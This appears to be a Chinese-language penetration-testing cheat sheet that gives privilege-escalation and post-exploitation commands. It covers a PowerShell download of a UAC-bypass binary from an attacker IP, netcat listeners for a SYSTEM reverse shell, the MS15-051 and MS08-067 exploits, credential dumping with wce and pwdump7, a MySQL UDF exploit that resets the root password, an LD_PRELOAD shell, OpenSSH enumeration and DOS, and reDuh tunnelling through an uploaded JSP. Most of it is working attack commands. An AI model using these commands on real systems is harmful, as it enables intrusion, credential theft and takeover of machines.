powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1
# 使用預編譯的二進位制檔案繞過 UAC:
https://github.com/hfiref0x/UACME
# 使用 powershell 指令碼上傳 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目標機器
echo $client = New-Object System.Net.WebClient > script2.ps1
echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1
echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1
powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1
# 在 Kali 上建立監聽
nc -lvp 4444
# 以系統許可權使用 Akagi64 執行 danger.exe
Akagi64.exe 1 C:\Users\User\Desktop\danger.exe
# 在 Kali 上建立監聽
nc -lvp 4444
# 下一步就會反彈給我們一個提過權的 shell
# 以系統許可權使用 PsExec 執行 danger.exe
psexec.exe –i –d –accepteula –s danger.exe
以普通使用者身份在 Win7 上反彈具有系統許可權的 Shell
https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051
https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html
https://www.exploit-db.com/exploits/37049/
# 查詢目標機器是否安裝了補丁,輸入如下命令
wmic qfe get
wmic qfe | find "3057191"
# 上傳編譯後的利用程式並執行它
https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe
# 預設情況下其會以系統許可權執行 cmd.exe,但我們需要改變原始碼以執行我們上傳的 danger.exe
# https://github.com/hfiref0x/CVE-2015-1701 下載它並定位到 "main.c"
# 使用 wce.exe 獲取已登入使用者的明文賬號密碼
http://www.ampliasecurity.com/research/windows-credentials-editor/
wce -w
# 使用 pwdump7 獲取其他使用者的密碼雜湊值
http://www.heise.de/download/pwdump.html
# we can try online hash cracking tools such crackstation.net
MS08-067 – 不使用 Metasploit
$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205
$ searchsploit ms08-067
$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1
通過 MySQL Root 賬戶實現提權
# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)
$ wget 0xdeadbeef.info/exploits/raptor_udf2.c
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');
user:~$ su -
Password:
user:~# whoami
root
root:~# id
uid=0(root) gid=0(root) groups=0(root)
使用 LD_PRELOAD 注入程式
$ wget https://github.com/jivoi/pentest/ldpreload_shell.c
$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so
$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft
針對 OpenSSH 使用者進行列舉時序攻擊
注:列舉時序攻擊(“Enumeration Timing Attack”)屬於側通道攻擊/旁路攻擊(Side Channel Attack),側通道攻擊是指利用通道外的資訊,比如加解密的速度/加解密時晶片引腳的電壓/密文傳輸的流量和途徑等進行攻擊的方式,一個詞形容就是“旁敲側擊”。–參考自 shotgun 在知乎上的解釋。
osueta 是一個用於對 OpenSSH 進行時序攻擊的 python2 指令碼,其可以利用時序攻擊列舉 OpenSSH 使用者名稱,並在一定條件下可以對 OpenSSH 伺服器進行 DOS 攻擊。
# https://github.com/c0r3dump3d/osueta
$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt
使用 ReDuh 構造合法的 HTTP 請求以建立 TCP 通道
注: ReDuh 是一個通過 HTTP 協議建立隧道傳輸各種其他資料的工具。其可以把內網伺服器的埠通過 http/https 隧道轉發到本機,形成一個連通迴路。用於目標伺服器在內網或做了埠策略的情況下連線目標伺服器內部開放埠。
對了親~ReDuh-Gui 號稱埠轉發神器哦。
# https://github.com/sensepost/reDuh
# 步驟 1
# 上傳 reDuh.jsp 目標伺服器
$ http://192.168.10.50/uploads/reDuh.jsp
# 步驟 2
# 在本機執行 reDuhClient
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp
# 步驟 3
# 使用 nc 連線管理埠
$ nc -nvv 127.0.0.1 1010
# 步驟 4
# 使用隧道轉發本地埠到遠端目標埠
[createTunnel] 7777:172.16.0.4:3389
# 步驟 5
# 使用 RDP 連線遠端
$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777
相關文章
- 滲透測試入門實戰
- 滲透測試會用到哪些工具?滲透測試教程
- 滲透測試技巧總結
- linux滲透測試技巧2則Linux
- 滲透測試必知的工具合集,你喜歡哪一個?
- Burpsuite 滲透測試工具使用UI
- 網站滲透測試漏掃工具的應用技巧網站
- 滲透測試對app安全測試實戰過程分享APP
- 滲透測試工具Burpsuite操作教程UI
- 滲透測試的WINDOWS NTFS技巧集合(一)Windows
- 滲透測試的WINDOWS NTFS技巧集合(二)Windows
- 滲透測試實驗二
- Kali Linux滲透測試實戰 第一章Linux
- Linux滲透測試Linux
- 滲透測試公司實戰拿下客戶網站過程網站
- 什麼是滲透測試?為什麼要做滲透測試?
- 滲透測試與自動化安全測試工具比較
- TPLINK滲透實戰
- 什麼是滲透測試?滲透測試分類方式有哪些?
- 什麼是滲透測試?滲透測試分為哪幾類?
- 滲透測試怎麼做?滲透測試的步驟有哪些?
- 你真的瞭解“滲透測試”嗎?滲透測試有何作用?
- 7款滲透測試工具,你必須知道!
- 滲透測試的工具有哪些?記得收藏!
- 使用Python編寫一個滲透測試探測工具Python
- 滲透測試報告測試報告
- 滲透測試之nmap
- 【滲透測試】Vulnhub DarkHole
- 滲透測試什麼?滲透測試具體操作流程是什麼
- 網路安全滲透測試的型別!滲透測試入門教程型別
- 什麼是滲透測試?滲透測試培訓班如何選擇?
- 什麼是滲透測試?滲透測試的服務方式有哪些?
- metasploit滲透測試筆記(內網滲透篇)筆記內網
- 9、Metasploit域滲透測試全程實錄
- 11、域滲透測試中使用到的命令+工具
- 開源滲透測試工具--關於資料庫資料庫
- 滲透測試工程師必用的10個工具!工程師
- 最新BlackArch釋出,提供1400款滲透測試工具